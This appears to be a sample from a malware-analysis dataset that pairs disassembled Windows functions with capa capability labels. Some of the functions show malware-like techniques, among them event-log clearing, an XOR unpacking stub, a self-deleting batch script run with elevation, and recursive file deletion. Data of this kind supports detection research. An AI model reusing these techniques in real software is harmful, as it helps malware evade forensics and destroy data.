joyce8/EMBER2024-capa huggingface dataset:
Function at 0x38c2377f
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
call fcn.38c236d7
test eax, eax
je 0x38c237c0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push 3
push 0
push 0x38c0592c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
leave
ret 8
Function at 0x4026f4
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
xor ebx, ebx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp ebx, 0x58ce99d
jg 0x402724
inc ebx
cmp ebx, 0x1f6502b0
jl 0x40270a
cmp dword [0x4ad264], 0x400
jne 0x4027a6
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push str.nojojatobajehivonafepuxefemi
push esi
call fcn.00402a68
push esi
push esi
call fcn.00402e14
fldz
add esp, 8
fstp qword [esp]
call fcn.00402cb0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402840
fstp st(0)
push esi
call fcn.00402ec1
push esi
call fcn.00402ed0
add esp, 0x10
xor ebx, ebx
cmp ebx, 0xd0fe
jge 0x4027b7
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x58bc6e
jg 0x4027d1
inc ebx
cmp ebx, 0xe52f
jl 0x4027a8
mov eax, dword [0x4a6304]
mov dword [0x4ad264], eax
call fcn.0040247d
mov edi, 0x3078f
cmp dword [0x4ad264], 0x51f
jne 0x4027ff
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x4027e5
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x40718e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a5d58]
jne 0x407198
repz ret
jmp fcn.00409ace
Function at 0x4096f8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a5d58]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405aec
and dword [ebp - 0x14], 0
cmp dword [0x4a7e24], 0
mov dword [ebp - 0x18], eax
jne 0x4097ab
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409853
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409853
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4a7e24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4a7e28], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4a7e2c], eax
call edi
push eax
call esi
mov dword [0x4a7e34], eax
test eax, eax
je 0x4097ab
push 0x4a3d18
push ebx
call edi
push eax
call esi
mov dword [0x4a7e30], eax
mov eax, dword [0x4a7e30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409804
cmp dword [0x4a7e34], ecx
je 0x409804
push eax
call esi
push dword [0x4a7e34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409804
test ebx, ebx
je 0x409804
call edi
test eax, eax
je 0x4097fb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4097fb
test byte [ebp - 8], 1
jne 0x409804
or dword [ebp + 0x10], 0x200000
jmp 0x409837
mov eax, dword [0x4a7e28]
cmp eax, dword [ebp - 0x18]
je 0x409837
push eax
call esi
test eax, eax
je 0x409837
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409837
mov eax, dword [0x4a7e2c]
cmp eax, dword [ebp - 0x18]
je 0x409837
push eax
call esi
test eax, eax
je 0x409837
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4a7e24]
call esi
test eax, eax
je 0x409853
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409855
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040718e
leave
ret
Function at 0x4012b6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
imul ecx, ecx, 0x106
cmp byte [ecx + 0x4032e0], 0
push ebx
lea ebx, [ecx + 0x4032e0]
push esi
push edi
mov dword [ebp - 4], edx
jne 0x401373
mov esi, 0x4031c0
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll__mbsrchr]
mov edi, eax
pop ecx
test edi, edi
pop ecx
jne 0x401308
lea eax, [ebp - 0x11c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x40132a
mov eax, edi
sub eax, esi
push eax
lea eax, [ebp - 0x11c]
push esi
push eax
call dword [sym.imp.MSVCRT.dll__mbsncpy]
lea eax, [ebp - 0x11c]
add esp, 0xc
sub eax, esi
and byte [eax + edi], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x11c]
push 0x403014
push eax
call esi
mov ecx, dword [ebp - 4]
call fcn.0040128f
push eax
lea eax, [ebp - 0x11c]
push eax
call esi
lea eax, [ebp - 0x11c]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
pop ecx
test eax, eax
pop ecx
jne 0x401373
lea eax, [ebp - 0x11c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..idata
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x286e6b74
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2112687b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40106c
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi]
sub esp, 0x54
push ebx
xor ebx, ebx
push edi
cmp eax, ebx
je 0x4011e6
cmp dword [eax - 0xc], ebx
jge 0x40108f
push 0x80070057
call fcn.00403985
cmp byte [eax], bl
je 0x4011e6
mov eax, dword [0x43d85c]
mov ecx, 0x43d85c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
push 0x43524c
lea eax, [ebp - 8]
call fcn.004038d0
lea edi, [ebp - 4]
lea ecx, [ebp - 8]
call fcn.00407601
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.004039c4
push 0x435254
mov eax, edi
push eax
call fcn.0040147d
mov edi, dword [ebp - 4]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
jne 0x40110a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [edi - 0x10]
jmp 0x4011e1
mov eax, dword [0x43d85c]
mov ecx, 0x43d85c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xc], eax
mov eax, edi
lea edi, [ebp - 8]
call fcn.00401356
mov eax, str._echo_off__r_nATTRIB__r___s___r_n:try__r_nrd___s___r_nif_exist___s__goto_try_r_nATTRIB__r___s___r_ndel___s___cls
cmp byte [esi + 5], bl
jne 0x401136
mov eax, str._echo_off__r_nATTRIB__r___s___r_n:try__r_ndel___s___r_nif_exist___s__goto_try_r_nATTRIB__r___s___r_ndel___s___cls
push dword [ebp - 8]
push dword [ebp - 8]
push dword [esi]
push dword [esi]
push dword [esi]
push eax
lea eax, [ebp - 0xc]
call fcn.00401618
mov edi, dword [ebp - 0xc]
add esp, 0x18
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [edi - 0xc]
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.004039c4
lea eax, [edi - 0x10]
call fcn.004039c4
cmp dword [ebp - 0x18], ebx
je 0x401184
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esi + 4], bl
jne 0x40119d
push ebx
push ebx
push ebx
push dword [ebp - 4]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4011db
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00423730
mov eax, dword [ebp - 4]
mov dword [ebp - 0x44], eax
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x50], 0x500
mov dword [ebp - 0x48], str.runas
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.004039c4
mov eax, dword [esi]
sub eax, 0x10
call fcn.004039c4
pop edi
pop ebx
leave
ret
Function at 0x402385
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0
jne 0x402393
push 0xd
pop eax
jmp 0x4023c6
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x40239a
mov eax, dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push 7
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x4027c6
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x43c07c]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
mov dword [ebp - 0x21c], eax
xor esi, esi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x210], esi
call fcn.00402793
mov ebx, eax
cmp ebx, esi
je 0x40282e
cmp dword [ebp - 0x214], esi
je 0x402827
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x4028c9
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x402856
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x214]
call fcn.004027c6
mov dword [ebp - 0x220], eax
cmp eax, esi
jne 0x4028da
lea eax, [ebp - 0x228]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
push dword [ebp - 0x214]
mov dword [ebp - 0x218], 0x100
call ebx
test eax, eax
je 0x402836
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x214], esi
je 0x4028a1
push dword [ebp - 0x214]
call ebx
mov dword [ebp - 0x214], esi
push dword [ebp - 0x21c]
mov dword [ebp - 0x210], esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, eax
cmp dword [ebp - 0x214], esi
je 0x4028c7
push dword [ebp - 0x214]
call ebx
mov eax, edi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042370b
leave
ret 4
cmp dword [ebp - 0x214], esi
je 0x4028ee
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x220]
jmp 0x4028c9
Function at 0x40324e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x43c07c]
xor eax, ebp
mov dword [ebp + 0x390], eax
mov eax, dword [ebp + 0x39c]
push ebx
mov ebx, dword [ebp + 0x3a0]
push esi
push edi
xor esi, esi
push 2
push esi
push eax
mov edi, edx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x74], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x78], eax
cmp eax, esi
jne 0x4032a2
call fcn.00401e94
mov esi, eax
jmp 0x403360
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
jne 0x4032bb
call fcn.00401e94
jmp 0x403355
push edi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
cmp ebx, esi
je 0x4032b1
push edi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
cmp eax, edi
jae 0x4032f5
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x74], eax
je 0x4032ee
lea eax, [ebp - 0x74]
call fcn.00401e8b
mov eax, 0x8007000e
jmp 0x403372
push 2
push eax
call fcn.004023ea
pop ecx
pop ecx
cmp eax, 0x400
jbe 0x403312
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00402364
jmp 0x403318
lea eax, [ebp - 0x70]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], esi
jne 0x403324
mov esi, 0x8007000e
jmp 0x403357
push edi
push dword [ebp - 0x74]
push edi
push ebx
push esi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, esi
je 0x4032b1
mov edx, dword [ebp - 0x74]
push dword [ebp + 0x3a4]
xor ecx, ecx
mov word [edx + eax*2], cx
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x80]
call fcn.00403106
mov esi, eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x74], eax
je 0x403370
lea eax, [ebp - 0x74]
call fcn.00401e8b
mov eax, esi
mov ecx, dword [ebp + 0x390]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042370b
add ebp, 0x394
leave
ret 0xc

Function at 0x4035b4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4035cb
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x403600
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x4035fc
cmp edi, eax
jae 0x403600
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x4035ee
cmp edi, eax
jb 0x403604
xor eax, eax
jmp 0x40360d
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x403a48
Capabilities:
Check mutex on windows

Disassembly:
push esi
push dword [esp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push eax
mov esi, 0x43e564
call fcn.00406465
cmp dword [0x43e564], 0
pop esi
je 0x403a80
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403a80
mov byte [0x43e56c], 1
ret 4
Function at 0x4051d2
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x43c07c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test byte [eax + 0x60], 1
jne 0x4051ef
xor al, al
jmp 0x405264
push edi
call fcn.00405bfd
mov edi, eax
mov eax, dword [edi]
mov ecx, dword [eax - 0xc]
cmp ecx, 3
jl 0x40522d
test ecx, ecx
jge 0x40520f
push 0x80070057
call fcn.00403985
cmp word [eax], 0x5c
jne 0x405231
cmp ecx, 1
jl 0x405205
cmp word [eax + 2], 0x5c
jne 0x405231
cmp ecx, 2
jl 0x405205
cmp word [eax + 4], 0x5c
je 0x405231
xor al, al
jmp 0x405263
push esi
xor esi, esi
test esi, esi
jl 0x405205
mov ecx, esi
mov eax, edi
call fcn.00406ff9
mov word [ebp + esi*2 - 0xc], ax
inc esi
cmp esi, 3
jl 0x405234
xor eax, eax
mov word [ebp - 6], ax
pop esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
setne al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042370b
leave
ret 4

Function at 0x405272
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
call fcn.00405bfd
lea ecx, [ebp - 4]
mov esi, eax
call fcn.0040710c
push 0x5c
call fcn.004062ac
mov ecx, dword [esi]
mov ecx, dword [ecx - 0xc]
inc eax
lea edx, [ebp - 8]
push edx
sub ecx, eax
mov edx, eax
mov eax, esi
call fcn.00406380
mov edi, dword [ebp - 8]
push dword [edi - 0xc]
lea eax, [ebp - 4]
push edi
call fcn.00401663
lea eax, [edi - 0x10]
call fcn.004039c4
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4052d7
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [esi]
push 0
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4052ef
xor esi, esi
inc esi
mov dword [ebx + 8], esi
jmp 0x40534f
mov eax, dword [0x43d85c]
mov ecx, 0x43d85c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push dword [eax]
lea eax, [ebp - 8]
push dword [esi]
push edi
push str.__s___OriginalPath:__s__s
push eax
call fcn.00406c06
add esp, 0x14
lea eax, [ebx + 0x110]
call fcn.0040cc34
xor esi, esi
push esi
push 0x20
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00416076
add esp, 0x14
test al, al
jne 0x405344
inc esi
mov dword [ebx + 8], esi
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.004039c4
lea eax, [edi - 0x10]
call fcn.004039c4
pop edi
mov eax, esi
pop esi
leave
ret 4
Function at 0x405ae7
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebx + 0x110]
call fcn.0040cc34
push str._SystemFolder_msiexec.exe
lea eax, [ebp - 8]
call fcn.004038d0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0040d022
mov eax, dword [ebp - 8]
pop ecx
pop ecx
add eax, 0xfffffff0
call fcn.004039c4
xor esi, esi
cmp dword [ebx], esi
je 0x405b34
call fcn.00405bfd
lea edi, [ebp - 4]
call fcn.004060b8
xor edi, edi
inc edi
push edi
push 0x20
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.00416076
add esp, 0x14
push 0x43e57c
mov byte [ebp + 0xb], al
call fcn.0040da46
cmp byte [ebp + 0xb], 0
jne 0x405bde
cmp byte [0x43d2cc], 0
mov eax, dword [0x43d85c]
mov ecx, 0x43d85c
je 0x405b9c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp + 8], eax
push 0x83
lea eax, [ebp + 8]
push eax
call fcn.004036ec
push esi
lea esi, [ebp + 8]
call fcn.0040d91c
mov eax, dword [ebp + 8]
pop ecx
add eax, 0xfffffff0
jmp 0x405bc0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp + 8], eax
push 0x83
lea eax, [ebp + 8]
push eax
call fcn.004036ec
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea eax, [esi - 0x10]
call fcn.004039c4
push 7
mov dword [ebx + 8], edi
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.004039c4
pop edi
mov eax, esi
pop esi
leave
ret 4
mov eax, dword [ebp - 0xc]
mov dword [ebx + 8], eax
jmp 0x405bcb
Function at 0x407474
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x26c
mov eax, dword [0x43c07c]
xor eax, esp
mov dword [esp + 0x268], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
sub eax, 0x10
mov dword [esp + 0x1c], edi
call fcn.00407082
add eax, 0x10
lea esi, [esp + 0xc]
mov dword [esp + 0xc], eax
call fcn.004070da
push 0x4357c0
mov eax, esi
push eax
call fcn.0040147d
xor esi, esi
push 0x24c
lea eax, [esp + 0x28]
push esi
push eax
mov dword [esp + 0x2c], esi
call fcn.00423730
add esp, 0xc
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4075d6
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
cmp word [esp + 0x4c], 0x2e
jne 0x40752c
cmp word [esp + 0x4e], si
je 0x407518
cmp word [esp + 0x4e], 0x2e
jne 0x40752c
cmp word [esp + 0x50], si
jne 0x40752c
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call ebx
mov dword [esp + 0x18], eax
jmp 0x4075ca
test byte [esp + 0x20], 0x10
je 0x40758c
mov eax, dword [edi]
sub eax, 0x10
call fcn.00407082
add eax, 0x10
lea esi, [esp + 0x10]
mov dword [esp + 0x10], eax
call fcn.004070da
lea eax, [esp + 0x4c]
push eax
mov eax, esi
push eax
call fcn.0040147d
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call ebx
mov dword [esp + 0x18], eax
mov eax, esi
push eax
call fcn.00407474
pop ecx
call fcn.0040642d
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.004039c4
jmp 0x4075ca
mov eax, edi
lea edi, [esp + 0xc]
call fcn.004060b8
mov esi, edi
call fcn.004070da
lea eax, [esp + 0x4c]
push eax
mov eax, edi
push eax
call fcn.0040147d
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call ebx
mov dword [esp + 0x18], eax
call fcn.0040642d
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, dword [esp + 0x1c]
xor esi, esi
cmp dword [esp + 0x18], esi
jne 0x4074fa
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
call fcn.004039c4
mov ecx, dword [esp + 0x274]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0042370b
mov esp, ebp
pop ebp
ret
Function at 0x407677
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x43d85c]
push esi
mov ecx, 0x43d85c
call dword [eax + 0xc]
mov esi, dword [ebp + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov ecx, dword [eax - 0xc]
dec ecx
js 0x40773e
push edi
mov eax, esi
call fcn.00406ff9
cmp ax, 0x5c
jne 0x4076d5
mov eax, dword [esi]
mov eax, dword [eax - 0xc]
lea ecx, [eax - 1]
lea edx, [ebp - 0xc]
mov eax, esi
call fcn.004063f7
lea edi, [ebp - 4]
call fcn.004060b8
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
call fcn.004039c4
jmp 0x4076df
mov eax, esi
lea edi, [ebp - 4]
call fcn.004060b8
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [esi]
mov edx, dword [eax - 0xc]
cmp edx, dword [ecx - 0xc]
pop edi
jl 0x4076fb
add eax, 0xfffffff0
call fcn.004039c4
pop esi
leave
ret
push 0x5c
call fcn.004062ac
mov ecx, eax
lea edx, [ebp - 8]
mov eax, esi
call fcn.004063f7
mov eax, dword [ebp - 8]
cmp dword [eax - 0xc], 0
je 0x40772e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00407677
pop ecx
pop ecx
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.004039c4
mov eax, dword [ebp - 4]
jmp 0x4076f0
push 0x80070057
call fcn.00403985
int3

Function at 0x407749
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xd4
mov eax, dword [0x43c07c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x54]
mov esi, ecx
xor edi, edi
push eax
push 0x64
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [ebp - 0x58], eax
lea ebx, [ebp + edi*2 - 0x54]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x4077b3
push ebx
lea eax, [ebp - 0x5c]
call fcn.004038d0
lea ebx, [ebp - 0x5c]
call fcn.00406b45
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
call fcn.004039c4
jmp 0x4077b3
cmp word [ebp + edi*2 - 0x54], 0
je 0x4077b8
inc edi
cmp edi, dword [ebp - 0x58]
jb 0x4077aa
inc edi
cmp edi, dword [ebp - 0x58]
jb 0x40777c
mov ecx, dword [ebp + 0x74]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042370b
add ebp, 0x78
leave
ret